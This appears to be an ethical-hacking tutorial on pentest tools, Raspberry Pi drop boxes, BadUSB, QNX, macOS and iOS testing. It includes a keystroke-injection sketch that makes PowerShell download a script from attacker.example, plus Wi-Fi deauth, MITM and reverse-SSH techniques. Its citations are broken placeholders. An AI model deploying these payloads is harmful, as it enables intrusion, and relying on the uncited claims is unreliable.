Ethical hacking (a.k.a. penetration testing or security assessment) is the authorised exploitation of hardware and software to discover and help patch vulnerabilities. Methodologies such as OSSTMM 3 provide structured, objective coverage of physical, social, and digital attack surfaces :contentReference[oaicite:0]{index=0}. Across all platforms, stay within the confines of relevant law—e.g., South Africa’s Cybercrimes Act 19 of 2020 requires explicit permission from the system owner :contentReference[oaicite:1]{index=1}.

NOTE — This guide is educational. Always obtain written consent, set clear scopes, and report findings through responsible-disclosure channels.

1. Base OS & Distros: Kali Linux and its “Kali ARM” images support Raspberry Pi, Mac (Intel/Apple Silicon via VM), and many SBCs :contentReference[oaicite:2]{index=2}.
2. Scanning & Exploitation Frameworks: Nmap, Masscan, Metasploit (regularly updated modules—see Rapid7’s 2025 releases) :contentReference[oaicite:3]{index=3}.
3. Password Attacks: Hashcat—GPU/CPU cracking across macOS, Linux, Windows :contentReference[oaicite:4]{index=4}.
4. Mobile Instrumentation: Frida 16.x for live iOS/Android binary hook-and-trace :contentReference[oaicite:5]{index=5}; OWASP MASTG for test cases :contentReference[oaicite:6]{index=6}.
5. Reference Lists: EC-Council’s annually curated “Best Ethical Hacking Tools 2025” catalog :contentReference[oaicite:7]{index=7}.

Create an isolated test network (VLAN or Wi-Fi AP in monitor mode) and version-control your findings in encrypted repos. Follow CEH or PNPT reporting formats for professionalism :contentReference[oaicite:8]{index=8}.

Why Pi ?

Low-cost SBC with GPIO, an ARM CPU, and broad distro support. Books like “Penetration Testing with Raspberry Pi” detail full red-team kits :contentReference[oaicite:9]{index=9}.

Common Attacks

1. Passive Wi-Fi sniffing (airodump-ng)+de-auth (aireplay-ng)
2. Ethernet man-in-the-middle via Ettercap
3. BadUSB keystroke injection using Pi Pico HID payloads :contentReference[oaicite:10]{index=10}
4. Cloud-connected drop box (reverse SSH into corporate LAN) featured in Mr. Robot’s toolbox :contentReference[oaicite:11]{index=11}

Setup Snippet

// Flash latest Kali ARM64
sudo rpi-imager
// Enable OTG gadget for BadUSB
echo "dtoverlay=dwc2" | sudo tee -a /boot/config.txt
sudo modprobe libcomposite
			

Defence Measures

Disable unused services; enforce ufw; place Pi-based sensors behind separate VLANs; monitor outbound DNS logs :contentReference[oaicite:12]{index=12}.

Use-Cases

1. UART/JTAG fuzzing on embedded targets :contentReference[oaicite:13]{index=13}
2. DIY Rubber Ducky (keystroke injector) with Digispark/Pro Micro :contentReference[oaicite:14]{index=14}
3. ID-Badging clones (RFID tools)

Example Payload (Pro Micro)

#include <Keyboard.h>
void setup(){
  delay(1000);
  Keyboard.print("powershell -c \"Invoke-WebRequest attacker.example/payload.ps1\"");
}
void loop(){}
			

Mitigations

Lock BIOS/UEFI to forbid USB boot; enforce device control solutions; use physical port blockers when possible :contentReference[oaicite:15]{index=15}.

Notable Targets

Modern BlackBerry hardware often runs QNX—also embedded in automotive systems. Recent advisories (e.g., QNX-2024-002) show improper input-validation issues in networking stacks :contentReference[oaicite:16]{index=16}.

Testing Workflow

1. Enumerate open services with nmap -sV
2. Exploit stack overflow PoCs inside a QNX VM before live tests
3. Use Frida (QNX-armle) or IDA Pro to trace libc calls

Hardening

Patch promptly; restrict perimeter network exposure; implement App Policy controls within BlackBerry UEM.

Attack Surface

1. T2 Chip Secure Enclave (boot chain & disk encryption)—older firmware exploitable via DFU mode :contentReference[oaicite:17]{index=17}
2. Kernel extensions (IOKit)
3. Misconfigured LaunchDaemons & LaunchAgents

Recent Findings

Community research highlights unpatchable side-channel leaks in Apple Silicon that could expose encryption keys if the device is physically seized :contentReference[oaicite:18]{index=18}.

Technique Snippet

sudo /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
brew install --cask burpsuite
sudo nmap -p- -sV --script vuln 192.168.0.0/24
			

Defences

Enable Full Security boot policy, FileVault 2, and System Integrity Protection. Disallow unsigned kexts and keep Rapid Security Responses up to date.

Testing Workflow

1. Install a jailbroken test device (checkm8 for A11 and earlier)
2. Instrument with Frida 16.7 (added iOS 18.4 support) :contentReference[oaicite:19]{index=19}
3. Run OWASP MASTG checklists for binary hardening, traffic, storage, crypto :contentReference[oaicite:20]{index=20}
4. Fuzz URL schemes and deeplinks; proxy via Burp Suite

Popular Findings

Common issues include inadequate ATS/SSL pinning, weak biometric fallback logic, and insecure local file storage—often revealed through live-patch hooks and certificate pinning bypass.

Hardening Tips

Leverage Apple’s App Attest; enforce NSUserDefaults protection; adopt ASLR-friendly compile flags (-PIE -fstack-protector-strong).

Certifications

• CEH v12+—broad coverage, includes AI threat-modelling module :contentReference[oaicite:21]{index=21}
• OSCP—hands-on exploit development
• PNPT (TCM)—focus on real-world report writing

Keep Updated

Follow Rapid7’s weekly Metasploit wrap-ups :contentReference[oaicite:22]{index=22}, EC-Council tool digests :contentReference[oaicite:23]{index=23}, and subscribe to vendor-specific advisories from Apple, BlackBerry, and Raspberry Pi Foundations to stay ahead.

1. OSSTMM 3 Manual :contentReference[oaicite:24]{index=24}
2. Kali Linux Official :contentReference[oaicite:25]{index=25}
3. PenTesting with Raspberry Pi (Book) :contentReference[oaicite:26]{index=26}
4. Hashcat & 2025 Pentest Tools :contentReference[oaicite:27]{index=27}
5. EC-Council Tool Compendium :contentReference[oaicite:28]{index=28}
6. OWASP MASTG :contentReference[oaicite:29]{index=29}
7. Cybercrimes Act (SA) :contentReference[oaicite:30]{index=30}
8. Arduino Hardware Hacking :contentReference[oaicite:31]{index=31}
9. DIY Rubber Ducky (Reddit) :contentReference[oaicite:32]{index=32}
10. EvilDuck Rubber Ducky :contentReference[oaicite:33]{index=33}
11. Frida 16.7 Release :contentReference[oaicite:34]{index=34}
12. Apple T2 Chip Doc :contentReference[oaicite:35]{index=35}
13. QNX-2024-002 Advisory :contentReference[oaicite:36]{index=36}
14. Unpatchable Apple Silicon Leak :contentReference[oaicite:37]{index=37}
15. Metasploit Wrap-Up 2025-02-21 :contentReference[oaicite:38]{index=38}
16. Mr. Robot Toolbox (Pi) :contentReference[oaicite:39]{index=39}